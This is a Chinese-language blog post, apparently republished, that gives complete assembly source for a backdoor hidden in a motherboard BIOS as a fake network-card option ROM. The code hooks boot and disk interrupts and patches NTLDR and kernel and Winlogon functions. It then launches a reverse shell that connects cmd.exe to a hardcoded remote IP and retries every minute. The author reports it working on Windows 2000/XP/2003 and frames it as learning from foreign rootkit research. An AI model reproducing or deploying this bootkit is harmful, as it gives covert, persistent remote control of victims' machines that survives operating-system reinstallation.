BIOS中隱藏Telnet後門

文章屬性:原創
文章提交:cheng5103 (cheng_5103_at_126.com)

[項目簡述]
     該項目僅爲實驗性項目,目的是學習國外技術。該項目主要目的是想隱藏一個Telnet後門
在主板的BIOS內,並讓其隨着計算機系統及操作系統成功的運行起來。運行後能反向Telnet連
接到指定的計算機接受CMD控制。

[關於作者]
     姓名:成松林 QQ:179641795 Email:[email protected] 本人對計算機的諸多技術都很
有興趣,常喜歡學習國外的開源項目,很佩服國外的計算機技術及知識。本人學歷:中專,專
業:計算機,年齡:25,工作:中專學業完成後留校工作。廢話:本人家景很窮,所以大學都
未上成就工作,希望有志人士能教小弟賺錢。我文才很差,故文章中有語法及表達問題請大家
多多諒解。

[項目涉及的相關知識及技術標題]
    1、實驗環境配置問題。
    2、刷新BIOS技術問題。
    3、代碼植入BIOS問題。
    4、源代碼的相關問題:
       A、如何編寫BIOS模塊如:PCI、ISA。
       B、實模式關於HOOK磁盤中斷的問題。
       C、磁盤中斷中選擇再次HOOK的問題。
       D、NT保護模式下設置物理地址映射。
       E、NT保護模式下線性地址尋址問題。
       F、HOOK KeAddSystemServiceTable。
       G、HOOK NtUserRegisterClassExWOW。
       H、HOOK Winlogon SASWndProc過程。
       I、在SASWndProc收到WM_CREATE消息建立線程運行Telnet Shell Code。
    5、源代碼的其他技術:
       A、IVThook InLineHook  SSDT Hook
       B、SEH  PE  PEB  TIB
       C、Hash SharedUserData CheckSum
    6、......

   文章內容會在朋友的網站(51cto)上發佈,文章還未整理好,相關的工具及相關的源代碼會在以後整理髮布.

   以下源代碼採用編輯工具MASMPlus,直接拷貝到這裏可能有格式上的問題,做了簡單的調整!

   調試了幾臺我這兒的計算機,以網卡8139PCI模塊加入BIOS刷入芯片,在調試計算機上安裝

   win2k/xp/2003及操作系統運行後,以下源代碼都能正常的反向連接到我指定的計算機上.

.586p                                                           ;編譯工具:ML /AT *.asm ML(masm)版本6.11,BIOS中隱藏Telnet後門.
.Model Tiny                                                     ;作者:成松林,QQ:179641795,Emil:[email protected].實現源代碼.
;*****************************************************************************************************************************************ROM_IMAGE_SIZE    equ 4                                         ;整個模塊大小單位KB,固定大小4KB.
CSL_KERNEL_DEST    equ 0FFDF0800h                                ;SharedUserData數據結構線性地址.
CSL_USER_BACKDOOR    equ 07FFE0800h                                ;SharedUserData數據結構線性地址.
;*****************************************************************************************************************************************RealCode segment use16                          
Code16Start:
;*****************************************************************************************************************************************      org     00h                                               ;####注意:置代碼開始地址以便於確定定置.####,****設置開始偏移:000h****
      dw      0AA55h                                            ;####注意:ROM頭格式標識可以生氣獨立ROM.####,****標識開始偏移:000h****
      db      ROM_IMAGE_SIZE*2                                  ;####注意:ROM長度(單位:512B,塊)最小8塊.####,****長度開始偏移:002h****
      jmp     MyROMCodeStart                                    ;####注意:修改ROM模擬跳轉指令到這裏執行####,****指令開始偏移:003h****
      org     06h                                               ;####注意:編譯器根據偏移長度選擇JMP命令####,****JMP[rel16]長:003h****
ReturnOldROM:                                                   ;####注意:把數據放在頭部以便於確定位置.####,****標識開始偏移:006h****
      db      0e9h,0,0                                          ;####注意:執行完跳轉到舊的ROM代碼跳轉處####,****指令數據偏移:007h****
      db      'CHKSUM=',0                                       ;####注意:填寫我們修改後的ROM數據檢驗和####,****數據偏移地址:010h****    
;*****************************************************************************************************************************************      org     18h                                               ;編譯成支持PCI設備的模塊:PCI ROM固定大小4KB,其他參看"PCI 2.2規範"教程
      dd      34001ch,52494350h,813910ech,180000h,200h,2010008h,8000h,506e5024h,201h,6500h,0,20000h,6400h,0,0;硬件realtek PCI8139網卡
;*****************************************************************************************************************************************MyROMCodeStart:
      pushf
      pushad
      push    es
      push    ds

      sti                                                       ;打開中斷,以便接收鍵盤輸入.
      mov     cx,0ffffh                                         ;等待,約爲兩二秒的按鍵消息.
      call    WaitPressScrollKey
      .if     !CARRY?                                           ;若按下Scroll Lock鍵,不運行我們的程序.
;*****************************************************************************************************************************************              xor     ax,ax
              mov     es,ax
              mov     eax,es:[19h*4]
              mov     es:[84h*4],eax                            ;借用中斷向量84H,保存中斷向量19H.

              mov     bx,es:[413h]                              ;40:13,BIOS數據區保存常規的內存大小,單位:KBs.
              and     bl,NOT 3                                  ;注意:要求分配的物理內存地址,以頁作爲基地址 .
              sub     bx,4                                      
              mov     es:[413h],bx                              
              shl     bx,(10-4)                                 ;bx *= 1024 / 16 (KBs->線性地址=KBs*1024,段:除以16)
              mov     es,bx                                    
              xor     di,di                                     ;es:di -> 分配的實模式高端內存前半部分開始處.
              
              push    cs
              pop     ds
              call    GetCurrentAddr                            ;offset Code16End = offset Code32Start
              GetCurrentAddr:
              pop     si                                        ;si->GetCurrentAddr在內存的地址
              mov     dx,si
              
              add     si,Code16End - GetCurrentAddr             ;ds:si->Code16End保護模式代碼段內存的地址.
              cld
              mov     cx,((ROM_IMAGE_SIZE / 2) * 1024) / 4      ;拷貝保護模式代碼數據到分配內存的前半部分.
              rep     movsd
              
              add     bx,100h                                  
              mov     es,bx                                    
              xor     di,di                                     ;es:0->分配的實模式高端內存後半部分開始處.
              mov     si,dx
              sub     si,GetCurrentAddr - Code16Start           ;ds:si->Code16Start實模式代碼的內存的地址.
              mov     cx,((ROM_IMAGE_SIZE / 2) * 1024) / 4      ;拷貝  實模式代碼數據到分配內存的後半部分.
              rep     movsd
            
              xor     bx,bx
              mov     ds,bx
              add     dx,NewINT19H - GetCurrentAddr             ;dx->NewINT19H內存的地址
              mov     ds:[19h*4],dx
              mov     ds:[(19h*4) + 2],es                       ;設置成我們的INT19H服務代碼
;*****************************************************************************************************************************************      .endif
      pop     ds
      pop     es
      popad
      popf
      ;jmp     ReturnOldROM                                     ;跳轉到原來的ROM代碼的跳轉處執行              
      retf
;*****************************************************************************************************************************************WaitPressScrollKey:                                             ;函數入口:CX=350約爲10ms, 函數延時: 33(us)
      push    ax
      .repeat
             in      al,60h
             .if     al == 46h                                  ;Scroll Lock鍵掃描碼:46h
                     stc
                     pop    ax
                     ret
             .endif
             in      al,61h  
             test    al,010h  
             .continue .if  !ZERO?
             .repeat
                     in      al,61h  
                     test    al,10h  
             .until  !ZERO?
             dec    cx
      .until cx == 0
      clc
      pop    ax
      ret
;*****************************************************************************************************************************************NewINT19H:
      pushf
      ;cli
      push    eax
      push    es
      ;jmp     $                                                ;bochs調試1#.
      xor     ax,ax
      mov     es,ax            
      mov     eax,es:[84h*4]
      mov     es:[19h*4],eax                                    ;恢復中斷向量19H值.
      mov     eax,es:[13h*4]
      .if     es:[85h*4] != eax
              mov     es:[85h*4],eax                            ;借用中斷向量85H,保存中斷向量13H.reserved for BASIC 82h~85h
              mov     word ptr es:[13h*4],NewINT13H             ;設置NewINT13H在內存的地址.
              mov     es:[(13h*4) + 2],cs                       ;設置成我們的INT13H服務代碼
      .endif

      pop     es
      pop     eax
      popf                                                      ;恢復現場
      int     84h                                               ;調用舊的中斷向量19H.
      iret      
;*****************************************************************************************************************************************NewINT13H:
      pushf                                                     ;有指令要改變標誌寄存器值.
      test    ah, 0bdh                                          ;是不是讀數據到內存?ah=02,ah=42h.
      .if     !ZERO?                                            ;ZF=0
              popf
              int    85h                                        ;調用舊的中斷向量13H.
              iret
      .endif
      mov     word ptr cs:[INT13LASTFUNCTION],ax
      popf
    
      
      int     85h                                               ;調用舊的中斷向量13H.
      .if     CARRY?                                            ;CF=1,讀失敗退出服務
              iret
      .endif

      pushf
      ;cli
      push   es
      pushad
      ;jmp    $                                                 ;bochs調試2#.可輸入指令:u cs:ip + 2.觀察INT13LASTFUNCTION的值.
      mov    ax,00h
INT13LASTFUNCTION EQU $-2
      .if     ah == 42h
         lodsw
         lodsw                         ;參看"擴展INT13H規範"ds:[si + 2]指傳輸塊數.
         les    bx,[si]                                    ;ds:[si + 04h]表示: 傳輸用的緩衝區內存地址.
      .endif
      .if     al != 00h
              xor     cx,cx              
              mov     cl,al
         mov     al,8Bh                                    ;設置搜索標誌的第一個字節.
         shl     cx,9                                         ;(CX * 200h) 搜索搜索計數.
         mov     di,bx                         ;8B F0 85 F6 74 21 80 3D:MOV ESI,EAX TEST ESI,ESI JZ $+23h CMP BYTE PTR [ofs32], imm8
              cld                                               ;NTLDR OSLoder模塊裏的6字節做爲標誌,進行HOOK.注意:選擇HOOK位置很關鍵!
              .while   1                                  
                       repne     scasb      
                  .break    .if  !ZERO?
                       .continue .if  dword ptr es:[di] != 74F685F0h
                       .continue .if  word ptr es:[di+4] != 8021h
                                                                ;(es:di - 1)->我們想被HOOK的指令代碼開始處.

                       ;mov     byte ptr es:[di-8],0ebh         ;jmp $指令十六進制值0xebfe,設置在NTLDR暫停.
                       ;mov     byte ptr es:[di-7],0feh              
                       ;設置在NTLDR被HOOK指令處暫停:指令地址[0x31adf1]8:31adf1,注意:INT13H服務中讀取NTLDR數據,
                       ;檢測HOOK標識代碼後,設置HOOK時用的指令及計算指令地址.因爲NTLDR數據會被搬移到內存高端處.

                       xor     eax,eax                          
                       mov     ax,cs
                       sub     ax,100h                          ;ax->保護模式代碼段
                       mov     bx,ax
                       shl     eax,4                            ;eax->保護模式代碼段在內存的物理地址.
                  
                       mov     word ptr es:[di-1],15ffh         ;##FFh/15h:使用CALL NEAR [OFS32]指令進行NTLDR HOOK##
                       mov     es:[di+1],eax                    ;##設置CALL NEAR [OFS32]指令跳轉地址,指令佔6個字節##
                       ;通過上面獲取NTLDR被HOOK處的運行地址:0x31adf1,用bochs調試暫停b 0x31adf1,觀察我們的HOOK方式對否?.
                       mov     es,bx
                       or      es:[(KEASSTHOOK_PTE - Code32Start)],eax
                       add     eax,4                            ;eax->NTLDRCallAddr + 4,設置成我們的32位代碼開始處執行.
                       mov     dword ptr es:[0],eax             ;es:[0]->保護模式段內變量NTLDRCallAddr所在內存虛擬地址.
                       ;jmp     $                               ;bochs調試3#可用xp es:di - 1觀察HOOK情況及r顯示寄存器.
             .endw
      .endif  
      popad
      pop     es
      popf
      iret
;*****************************************************************************************************************************************Code16End:                                                      ;offset Code32Start = offset Code16End
RealCode ends
;*****************************************************************************************************************************************ProtectCode segment byte use32                                  ;##########可工作在32位保護模式的代碼#########
Code32Start:                                                    ;offset NTLDRCallAddr = offset Code32Start = offset Code16End
      NTLDRCallAddr dd ?                                        

      ;jmp     $                                                ;bochs調試4#,參看在NewINT13H調試爲什麼沒運行到這裏?
      pushfd                                                    ;esp = esp + 04h
      pushad                                                    ;esp = esp + 20h
                                                                ;掃描獲取模塊表基址(_BlLoaderData) 參看"NTLDR分析及源代碼".
      mov     edi,[esp + 20h + 04h]                             ;edi->OSLOADER內部.
      and     edi,NOT 000FFFFFh                                 ;轉換爲鏡像基地址 .
      cld
      mov     al,0c7h                                           ;C7h/46h/34h/00h/40h/00h/00h: MOV DWORD PTR [ESI+34h], 4000h
      .while  1
              scasb      
               .if     ZERO?
                    .break .if  dword ptr [edi] == 40003446h
              .endif
      .endw
      mov     al,0A1H                                           ;A1h/xx/xx/xx/xx: MOV EAX, [xxxxxxxx]
      .while  1
              scasb
              .break  .if     ZERO?
      .endw
      mov     esi,[edi]                                         ;esi->模塊鏈表的開始基地址  .
      mov     esi,[esi]                                         ;esi->模塊鏈表中的第一個節點.
      lodsd
      mov     ebx,[eax+18h]                                     ;EBX = NTOSKRNL.EXE 在內存鏡像的基地址.
                                                                ;注意:這裏不能直接調用NTOSKRNL導出函數.
      ;jmp     $
;*****************************************************************************************************************************************      call    PatchFunction_OverHookFunc                        ;跳轉到KeASSTHook後面執行,安裝HOOK問題.

KeASSTHook:                                                     ;HOOK KeAddSystemServiceTable   該函數.
                                                                ;lb 0x804c3bc6
      sub     dword ptr [esp],5                          ;修正ret指令返回地址爲被HOOK函數開始處.
      pushad                                                    ;保護KeAddSystemServiceTable函數的現場.
      
      mov     eax,00000001h                                     ;KEASSTHOOK_PTE:保護模式代碼的內存地址.
KEASSTHOOK_PTE EQU $-4                                          
      xor     ecx,ecx
      mov     ch,((Code32End - Code32Start) + 100h) / 100h      ;注意:代碼小於2k,以便放在用戶數據空間 .
      mov     edx,0C0000000h                ;edx->4MB頁目錄表中的第一個二級頁表項 .
      xor     esi,esi                         ;esi->我們的代碼開始地址,以頁爲基地址 .
      mov     edi,CSL_KERNEL_DEST                     ;拷貝代碼到SharedUserData數據空間中去 .
      xchg    [edx],eax                                         ;映射我們代碼的物理地址到線性地址00000.
      wbinvd                                                    
      rep     movsb                                             ;SharedUserData 空間參看其他相關的教程.
      mov     [edx],eax                                         ;恢復線性地址00000000原來的映射物理頁 .
      wbinvd                                                    ;bochs調試6#:NTOSKRNL.EXE鏡像基址 + 64.

                                                                ;保存被HOOK代碼數據在堆棧中,後面恢復用.
      db      6Ah,0                    ;6Ah/xx: PUSH simm8
KEASSTHOOK_DISPLACED4 EQU $-1
      pushd   0
KEASSTHOOK_DISPLACED0 EQU $-4
                                                                ;bochs調試8#:lb 0xffdf08a4映射地址之後.
      push    (CSL_KERNEL_DEST + (MyKeAddSystemServiceTable - Code32Start))
      ret                                 ;跳轉到MyKeAddSystemServiceTable函數處.
;*****************************************************************************************************************************************PatchFunction_OverHookFunc:                                     ;KeAddSystemServiceTable HOOK 問題處理.

      pop     esi                                               ;esi->KeASSTHook 函數在內存的實際地址 .
      mov     ecx,PatchFunction_OverHookFunc - KeASSTHook       ;ecx = KeASSTHook 代碼的長度,準備移動 .
                                                                ;處理代碼中的尋址問題,將KeASSTHook代碼.
      lea     edi,[ebx+40h]                                     ;搬移到NTOSKRNL DOS MZ和PE頭之間去執行.
      ;jmp     $                                                ;bochs調試5#,lb edi下一步運行在edi的值.
      mov     ebp, edi                         ;ebp用於後面HOOK時計算CALL rel 偏移用 .
      rep     movsb                                             ;指令:edi->PatchFunction_OverHookFunc .
      
      mov      edx,0A21CD4EEh                                   ;"KeAddSystemServiceTable",0  ->HASH值.
      call     PEApiHashFind                                    ;在NTOSKRNL模塊中查找該函數以便HOOK用..
      ;jmp      $                                               ;bochs調試7#可以用到調試HOOK函數lb eax.
      xchg     esi,eax                                          ;指令:esi->KeAddSystemServiceTable函數.

      sub      edi,PatchFunction_OverHookFunc - KEASSTHOOK_DISPLACED0
      movsd                                                     ;InLine HOOK方式:保存被HOOK的代碼數據 .
      sub          edi,KEASSTHOOK_DISPLACED0 + 4 - KEASSTHOOK_DISPLACED4
      movsb

      mov      byte ptr [esi-5],0e8h                     ;E8h/xx/xx/xx/xx:CALL rel 相關地址指令.
      sub      ebp,esi                                          ;調試例如:bochs調試5#edi lb 0x80400040.
      mov      dword ptr [esi-4],ebp                            ;call KeASSTHook,調試斷點bochs調試5#處.

      popad
      popfd
;*****************************************************************************************************************************************                                                                ;模擬InLineHOOK NTLDR中的指令,並返回去.
      mov      esi,eax
      test     eax,eax
      jnz      short @F
      pushfd
      add      dword ptr [esp+4],21h
      popfd
@@:
      ret
;*****************************************************************************************************************************************MyKeAddSystemServiceTable:                                      ;bochs調試8#:開始是多任務JMP $斷點很慢.
                                                                ;首先關閉HOOK NTOSKRNL.EXE!KeAddSystemServiceTable      
      mov     ebp,esp                                           ;bochs調試8#:lb 0xffdf08a4 u /50  查看.
      mov     edi,[ebp+8+20h]                     ;edi->KeAddSystemServiceTable 函數入口.
                                                                
      mov     ecx,cr0
      mov     edx,ecx
      and     ecx,NOT 00010000h
      mov     cr0,ecx                                           ;CR0.WP關閉頁保護功能,以便對當前頁修改.

      pop     eax                                               ;恢復KeAddSystemServiceTable HOOK 數據.
      stosd
      pop     eax
      stosb

      mov     cr0,edx                                           ;恢復 CR0.WP位到原來的狀態            .
;*****************************************************************************************************************************************      mov     esi,[ebp+8+28h]                                   ;esi->_W32pServiceTable     服務描述表.
      mov     ecx,[ebp+8+30h]                                   ;ecx:                       服務的數目.
      mov     edi,[ebp+8+34h]                                   ;edi:_W32pArgumentTable     服務參數表.
                                                                ;具體參看"SSDT HOOK教程" ,講解如何HOOK.
      .while  ecx > 0                                           ;HOOK win32k!NtUserRegisterClassExWOW .
              lodsd
              .if    byte ptr [edi] == 10h                      ;NtUserRegisterHotKey has 4 arguments .
                     mov    edx,20h
                     .while edx > 0
                            .if    byte ptr [eax] == 0f7h       ;F7h/0: TEST mem, imm
                                   mov    ebx,4                 ;search EAX+4..1 for bit mask of prohibited 'fsModifiers' flags
                                   .while ebx > 0
                                          .if    dword ptr [eax + ebx] == 0FFFF7FF0h    
                                                 inc     edi
                                                 .while  1      ;NtUserRegisterClassExWOW will have 6 or 7 arguments  
                                                         sub     esi,4
                                                         dec     edi  
                                                         .if     byte ptr [edi] >= 18h
                                                                 mov     eax,[esi]
                                                                 ;bochs調試9#:JMP $指令斷點,在多線程下很慢,儘量採用斷點命令.lb 0xffdf08f7
                                                                 mov     edi,(CSL_KERNEL_DEST + (MyNtUserRegisterClassExWOW-Code32Start))
                                                                 mov     [edi + (NTURCEWOW_ORIGINAL - MyNtUserRegisterClassExWOW)],eax
                                                                 mov     [esi],edi
                                                                 jmp     @F
                                                         .endif
                                                 .endw
                                          .endif
                                          dec    ebx
                                   .endw
                            .endif
                            inc    eax
                            dec    edx
                     .endw
             .endif
             inc     edi
             dec     ecx
      .endw
@@:      
;*****************************************************************************************************************************************      popad                                                     ;恢復KeAddSystemServiceTable函數的現場.
      ret                                                       ;返回KeAddSystemServiceTable函數去執行.
;*****************************************************************************************************************************************MyNtUserRegisterClassExWOW:                                     ;win32k!NtUserRegisterClassExWOW HOOK .

      pushad                                                    ;bochs調試10#:lb 0xffdf091e 調試9#獲取.
                                                                ;使用bochs調試命令:x esp     u /50 eip.
      xor     eax,eax                                          
      
      push    (CSL_KERNEL_DEST + (MyNtUserRegisterClassExWOW_SEH - Code32Start))
      push    dword ptr fs:[eax]                                ;在堆棧建立異常結構
      mov     dword ptr fs:[eax],esp                            ;安裝我們的異常處理,####調試發現安裝的異常處理有時不能工作.####

      ;通過傳來的參數檢查類名是L"SAS window class" ,替換其'lpfnWndProc'過程,具體參看"win32應用程序窗口消息原理".
      mov     ebp,ds:[7FFE02B4h]                                ;EBP = MmHighestUserAddress
      mov     edx,[esp + 8 + 28h]                               ;edx->窗口類名,格式PUNICODE_STRING.
      .if     edx <= ebp
              .if     word ptr [edx] == 16*2                    ;size of L"SAS window class" 檢查字符數對不?
                      mov     esi,[edx + 4]                    
                      .if     esi <= ebp
                              mov     ecx,16                    ;
                              mov     edx,72ABEC2Dh        ;72ABEC2Dh <-- HASH("SAS window class")
                              @@:
                                      lodsw
                                      sub     edx,eax
                                      ror     edx,7
                              loop    @B
                              .if     edx == 0                  ;替換窗口過程,前保存舊的過程在PEB中
                                      mov     esi,[esp + 8 +24h];esi->WNDCLASSEXW 類結構.
                                      .if     esi <= ebp
                                              mov     ecx,fs:[edx + 18h]              ;ecx->用戶TIB,線程信息塊存放線程信息.
                                              mov     ecx,[ecx +30h]                  ;ecx->    PEB,進程環境塊存放進程信息.
                                              .if     ecx <= ebp                      ;bochs調試11#:lb 0xffdf0971          
                                                      mov     eax,(CSL_USER_BACKDOOR + (MySASWndProc - Code32Start))
                                                      xchg    dword ptr [esi + 8],eax ;替換'lpfnWndProc'過程,爲我們的過程.
                                                      mov     [ecx + 0eb0h],eax       ;PEB->0EB0h = 舊的'lpfnWndProc' (保存舊的SASWndProc)
                                              .endif
                                      .endif
                              .endif
                      .endif
              .endif
      .endif

;*****************************************************************************************************************************************NTURCEWOW_Done:                                                 ;bochs調試11#:lb 0xffdf097f
      xor     eax,eax
      pop     dword ptr fs:[eax]                                ;移除堆棧的異常結構
      pop     ecx                                               ;移除我們的異常處理
      popad
      pushd   0                                                
NTURCEWOW_ORIGINAL EQU $-4
      ret                                                       ;返回NtUserRegisterClassExWOWHook執行.
;*****************************************************************************************************************************************MyNtUserRegisterClassExWOW_SEH:                                 ;注意:安裝異常參看"win32應用程序設計".
      xor     eax,eax                                           ;lb 0xffdf098c 調試異常:兼容不很穩定 .

      cdq                                                       ;CDQ常用於除法運算之前調整EDX值.作用只是把EDX的所有位都設成EAX最高位的值.
      mov     dl,0B8h
      add     edx,[esp + 0Ch]                ;[esp + c]->Context.傳過來的參數.
                                 ;Context->Eip
      mov     dword ptr [edx],(CSL_KERNEL_DEST + (NTURCEWOW_Done - Code32Start))
      ret
;*****************************************************************************************************************************************MySASWndProc:                                                   ;bochs調試12#: 程序現已運行在應用層下.
                                                                ;lb 0x7ffe099c
      push    eax                                               ;eax:舊的SASWndProc地址,返回方法:popad ret.
      pushad

      xor     eax,eax
      mov     edx,fs:[eax+30h]                                  ;ptr to PEB
      
      mov     eax,[edx+0EB0h]                                   ;original SASWndProc address
      mov     [esp+20h],eax

      mov     eax,[esp+2Ch]                                     ;get 'uMsg' argument
      .if     eax == 0001h                                      ;WM_CREATE
              mov     eax,[edx+0Ch]                             ;ptr to loader data
              mov     ecx,[eax+1Ch]                             ;ptr to first module in initialization-order list

              .repeat
                      mov     ebx,[ecx+8]                       ;module image base
                      mov     esi,[ecx+20h]                     ;ptr to module file name
                      mov     ecx,[ecx]                         ;ptr to next module
                      lodsb
                      or      al,20h
              .until  al == 'k'                                 ;assume KERNEL32.DLL will be first module starting with 'K'
                                                                ;EBX = KERNEL32 鏡像基址 bochs調試13#:lb 0x7ffe09cc
              ;mov     edi,(CSL_USER_BACKDOOR + (PEApiHashFind - Code32Start))
              push    ebx                                       ;ebx:dwThreadID  變量使用堆棧.
              push    esp                                       ;push addr dwThreadID
              push    0
              push    0
              push    (CSL_USER_BACKDOOR + (TelnetShell - Code32Start))
              push    0
              push    0
              mov     edx,3f1764e5h                             ;hash("CreateThread")=3f1764e5h
              call    PEApiHashFind                             ;call     edi 是否需要這樣調用?
              call    eax                                       ;invoke CreateThread,NULL,0,offset TelnetShell,NULL,NULL,addr dwThreadID
              pop     ebx                                       ;ebx:dwThreadID 去掉變量使用.
      .endif
      popad
      ret                                                       ;invoke original SASWndProc
;*****************************************************************************************************************************************TelnetShell:                                                    ;可用於安裝在win2k/xp/2003 反向連接Telnet後門應用程序.
      xor     eax,eax                                           ;bochs調試14#:lb 0x7ffe09f0
      mov     edx,fs:[eax+30h]                                  ;ptr to PEB
      mov     eax,[edx+0Ch]                                     ;ptr to loader data
      mov     ecx,[eax+1Ch]                                     ;ptr to first module in initialization-order list

      .repeat
              mov     ebx,[ecx+8]                               ;module image base
              mov     esi,[ecx+20h]                             ;ptr to module file name
              mov     ecx,[ecx]                                 ;ptr to next module
              lodsb
              or      al,20h
     .until  al == 'k'                                          ;assume KERNEL32.DLL will be first module starting with 'K'
                                                                ;EBX = KERNEL32 image base
      mov     edi,ebx                                           ;edi = kernel32基址 bochs調試15#:lb 0x7ffe0a05
TelnetShell_Strat:
      mov     ebp,esp                                           ;bochs調試15#:lb 0x7ffe0a07

      push    00003233h
      push    5f325357h                                         ;esp->"WS2_32"
      push    esp
      mov     edx,2e864192h                                     ;Hash("LoadLibraryA")=2e864192h
      call    PEApiHashFind
      call    eax                                               ;LoadLibraryA(&WS2_32DLL)返回EAX=裝載DLL基址.
      mov     ebx,eax                                           ;ebx=WS2_32基址

      sub     esp,1ech                                          ;WSADATA struct
      push    esp                                               ;esp->WSADATA struct
      push    202h                                              ;VersionRequested 0x202h
      mov     edx,0c05a351eh                                    ;Hash("WSAStartup")=0c05a351eh
      call    PEApiHashFind
      call    eax                                               ;WSAStartup(0x101, &WSADATA)

      push    0
      push    0
      push    0
      push    6                                                 ;IPPROTO_TCP=6 IPPROTO_UDP=17
      push    1                                                 ;SOCK_STREAM=1 SOCK_DGRAM=2
      push    2                                                 ;AF_INET=2
      mov     edx,0ef3c1916h                                    ;Hash("WSASocketA")=0ef3c1916h
      call    PEApiHashFind
      call    eax                                               ;s=WSASocketA(2,1,6,0,0,0)
      mov     esi,eax                                           ;esi=socket s

      push    0265359dah                                        ;sockaddr_in.sin_addr;192.168.100.111(06f64a8c0h)
      push    0feff0002h                                        ;0x02=AF_INET(sin_family);0xfffe=65534(sin_port)

      ;.repeat
              mov     edx,esp
              push    10h                                       ;sizeof(sockaddr_in)
              push    edx                                       ;esp->sockaddr_in struct
              push    esi                                       ;socket s
              mov     edx,5ddd8b01h                             ;Hash("connect")=5ddd8b01h
              ;mov     ebx,edi                                  ;ebx=kernel32基址
              call    PEApiHashFind
              call    eax                                       ;IPPROTO_TCP c=connect(s, &address, sizeof(address))
      ;.until  eax == 0                                          ;連接成功
      mov     ebx,edi                                           ;ebx=kernel32基址
      .if     eax != 0
              push    60000
              mov     edx,0cb9765ah                             ;Hash("Sleep")=0cb9765ah
              call    PEApiHashFind                            
              call    eax                                       ;invoke Sleep,60000
              mov     esp,ebp
              mov     ebx,edi                                   ;ebx=kernel32基址
              jmp     TelnetShell_Strat                         ;for another connection  
              ;ret
      .endif

      push    646d63h                                           ;winNT(cmd.exe)
      mov     edx,esp                                           ;edx->file name
  
      push    esi                                               ;STARTUPINFOA.hStdError
      push    esi                                               ;STARTUPINFOA.hStdOutput
      push    esi                                               ;STARTUPINFOA.hStdInput

      push    0                      
      push    0                                                 ;wShowWindow cbReserved2                  
      push    101h                                              ;STARTUPINFO.dwFlags                                      

      mov     ecx,0fh
@@:                              
      push    0                                                 ;STARTUPINFOA.cb ~ STARTUPINFOA.dwFillAttribute
      loop    @B

      lea     ecx,[esp+10h]                                     ;ecx->STARTUPINFOA.cb
      mov     dword ptr [ecx],44h                               ;STARTUPINFOA.CB=44h(len STARTUPINFOA)

      push    esp                                               ;esp->PROCESS_INFORMATION STRUCT(all 0)
      push    ecx                                               ;ecx->STARTUPINFOA STRUCT
      push    0
      push    0
      push    0
      push    1
      push    0
      push    0
      push    edx
      push    0
      mov     edx,4b5d35e6h                                     ;Hash("CreateProcessA")=4b5d35e6h
      call    PEApiHashFind
      call    eax                                               ;CreateProcessA(0, Addr"cmd.exe",0,0,1,0,0,0,si, pi)

      pop     ecx                                               ;PROCESS_INFORMATION.hProcess

      push    -1                                                ;time -1
      push    ecx
      mov     edx,8885abf2h                                     ;Hash("WaitForSingleObject")=8885abf2h
      call    PEApiHashFind
      call    eax                                               ;WaitForSingleObject(Handle, time)
      mov     esp,ebp
      mov     ebx,edi                                           ;ebx=kernel32基址
      jmp     TelnetShell_Strat                                 ;for another connection  
      ;ret
;*****************************************************************************************************************************************PEApiHashFind:                                                  ;入口:EBX=鏡像基址 EDX=HASH32值 出口:eax=Api 地址,0表示未找到.
      xor     eax,eax                  
      pushad
      mov     ecx,[ebx+3Ch]                                     ;ecx = RVA of PE header
      mov     ebp,[ebx+ecx+78h]                                 ;ebp = RVA of export directory
      add     ebp,ebx                                           ;ebp -> ptr to export directory
      mov     ecx,[ebp+18h]                                     ;ecx = IMAGE_EXPORT_DIRECTORY::NumberOfNames
      mov     edi,[ebp+20h]                                     ;edi -> IMAGE_EXPORT_DIRECTORY::AddressOfNames
      add     edi,ebx
      .while  ecx > 0
              dec     ecx
              mov     esi,[edi+ecx*4]
              add     esi,ebx                                   ;esi->API字符串在內存物理地址.

              push    edx
              .repeat
                      lodsb
                      sub     edx,eax
                      ror     edx,7
              .until  eax == 0                                  ;字符結束
              .if     edx == 0
                  pop    edx
                      .break
              .endif
                pop    edx
      .endw
      .if     ecx > 0
              mov     edx,[ebp+024h]
              add     edx,ebx                                   ;AddressofOrdinals
              mov     cx,[edx+ecx*2]
              mov     eax,[ebp+01ch]
              add     eax,ebx                                   ;AddressOfFunctions      
              add     ebx,[eax+ecx*4]
              mov     [esp+1Ch], ebx                            ;overwrite saved EAX with ptr to export
      .endif
      popad
      ret
;*****************************************************************************************************************************************Code32End:                                                      ;感謝: eEye RootKit RomOS開源項目,國外的技術我們永遠學不完.
ProtectCode ends                                                ;有不正確的地方,成松林很高興各位指出這樣我纔會學到更多知識.
end   Code16Start

發佈了1527 篇原創文章 · 獲贊 50 · 訪問量 443萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章